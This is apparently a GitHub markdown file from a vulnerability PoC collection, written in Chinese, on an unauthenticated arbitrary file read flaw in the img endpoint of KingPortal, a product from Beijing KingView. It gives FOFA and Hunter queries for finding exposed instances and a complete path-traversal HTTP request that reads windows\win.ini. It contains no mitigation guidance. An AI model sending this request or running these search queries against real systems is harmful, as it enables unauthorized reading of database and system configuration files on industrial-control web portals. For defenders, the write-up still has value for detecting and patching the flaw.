Skip to content

Latest commit

 

History

History
29 lines (21 loc) · 1.01 KB

北京亚控科技img任意文件读取漏洞.md

File metadata and controls

29 lines (21 loc) · 1.01 KB

北京亚控科技img任意文件读取漏洞

KingPortal客户端开发系统 img 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

fofa

body="/public/javascripts/Common/Util/km_util.js"

Hunter

web.title="KingPortal"

poc

GET /kingclient/img?imgPath=..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image-20241101191735975